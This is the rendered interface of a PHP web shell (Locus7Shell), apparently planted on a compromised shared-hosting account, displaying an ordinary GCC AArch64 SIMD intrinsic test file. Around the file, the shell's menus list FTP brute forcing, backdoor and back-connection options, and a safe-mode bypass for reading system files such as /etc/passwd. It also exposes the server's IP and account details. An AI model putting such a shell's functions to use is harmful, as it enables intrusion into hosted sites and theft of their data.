Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/simd/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vmulx_laneq_f32_1.c (3.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test the vmulx_laneq_f32 AArch64 SIMD intrinsic.  */

/* { dg-do run } */
/* { dg-options "-save-temps -O3" } */

#include "arm_neon.h"

extern void abort (void);

float32x2_t __attribute__ ((noinline))
test_vmulx_laneq_f32_lane0 (float32x2_t vec1_1, float32x4_t vec1_2)
{
  return vmulx_laneq_f32 (vec1_1, vec1_2, 0);
}

float32x2_t __attribute__ ((noinline))
test_vmulx_laneq_f32_lane1 (float32x2_t vec1_1, float32x4_t vec1_2)
{
  return vmulx_laneq_f32 (vec1_1, vec1_2, 1);
}

float32x2_t __attribute__ ((noinline))
test_vmulx_laneq_f32_lane2 (float32x2_t vec1_1, float32x4_t vec1_2)
{
  return vmulx_laneq_f32 (vec1_1, vec1_2, 2);
}

float32x2_t __attribute__ ((noinline))
test_vmulx_laneq_f32_lane3 (float32x2_t vec1_1, float32x4_t vec1_2)
{
  return vmulx_laneq_f32 (vec1_1, vec1_2, 3);
}

#define PASS_ARRAY(...) {__VA_ARGS__}

#define SETUP_VEC(V1_D, V2_D, EXP0, EXP1, EXP2, EXP3, I)        \
  void set_and_test_case##I ()                        \
  {                                    \
    float32_t vec1_data[] = V1_D;                    \
    float32x2_t vec1 = vld1_f32 (vec1_data);                \
    float32_t vec2_data[] =  V2_D;                    \
    float32x4_t vec2 = vld1q_f32 (vec2_data);                \
                                    \
    float32_t expected_lane0[] = EXP0;                    \
    float32_t expected_lane1[] = EXP1;                    \
    float32_t expected_lane2[] = EXP2;                    \
    float32_t expected_lane3[] = EXP3;                    \
                                    \
    float32x2_t actual_lane0_v =                    \
      test_vmulx_laneq_f32_lane0 (vec1, vec2);                \
    float32_t actual_lane0[2];                        \
    vst1_f32 (actual_lane0, actual_lane0_v);                \
    if (actual_lane0[0] != expected_lane0[0]                \
    || actual_lane0[1] != expected_lane0[1])            \
      abort ();                                \
                                    \
    float32x2_t actual_lane1_v =                    \
      test_vmulx_laneq_f32_lane1 (vec1, vec2);                \
    float32_t actual_lane1[2];                        \
    vst1_f32 (actual_lane1, actual_lane1_v);                \
    if (actual_lane1[0] != expected_lane1[0]                \
    || actual_lane1[1] != expected_lane1[1])            \
      abort ();                                \
                                    \
    float32x2_t actual_lane2_v =                    \
      test_vmulx_laneq_f32_lane2 (vec1, vec2);                \
    float32_t actual_lane2[2];                        \
    vst1_f32 (actual_lane2, actual_lane2_v);                \
    if (actual_lane2[0] != expected_lane2[0]                \
    || actual_lane2[1] != expected_lane2[1])            \
      abort ();                                \
                                    \
    float32x2_t actual_lane3_v =                    \
      test_vmulx_laneq_f32_lane3 (vec1, vec2);                \
    float32_t actual_lane3[2];                        \
    vst1_f32 (actual_lane3, actual_lane3_v);                \
    if (actual_lane3[0] != expected_lane3[0]                \
    || actual_lane3[1] != expected_lane3[1])            \
      abort ();                                \
                                    \
  }                                    \

float32_t v1 = 3.14159265359;
float32_t v2 = 1.383894;
float32_t v3 = -2.71828;
float32_t v4 = -3.4891931;

float32_t v5 = 0.0;
float32_t v6 = -0.0;
float32_t v7 = __builtin_huge_valf ();
float32_t v8 = -__builtin_huge_valf ();

SETUP_VEC (PASS_ARRAY (v1, v2), PASS_ARRAY (v1, v2, v3, v4),
       PASS_ARRAY (v1*v1, v1*v2), PASS_ARRAY (v1*v2, v2*v2),
       PASS_ARRAY (v1*v3, v2*v3), PASS_ARRAY (v1*v4, v2*v4), 1)

SETUP_VEC (PASS_ARRAY (v5, v6), PASS_ARRAY (v5, v6, v7, v8),
       PASS_ARRAY (0.0, -0.0), PASS_ARRAY (-0.0, 0.0),
       PASS_ARRAY (2.0, -2.0), PASS_ARRAY (-2.0, 2.0), 2)

int
main (void)
{
  set_and_test_case1 ();
  set_and_test_case2 ();
  return 0;
}
/* { dg-final { scan-assembler-times "fmulx\[ \t\]+\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.\[sS\]\\\[0\\\]\n" 1 } } */
/* { dg-final { scan-assembler-times "fmulx\[ \t\]+\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.\[sS\]\\\[1\\\]\n" 1 } } */
/* { dg-final { scan-assembler-times "fmulx\[ \t\]+\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.\[sS\]\\\[2\\\]\n" 1 } } */
/* { dg-final { scan-assembler-times "fmulx\[ \t\]+\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.2\[sS\], ?\[vV\]\[0-9\]+\.\[sS\]\\\[3\\\]\n" 1 } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--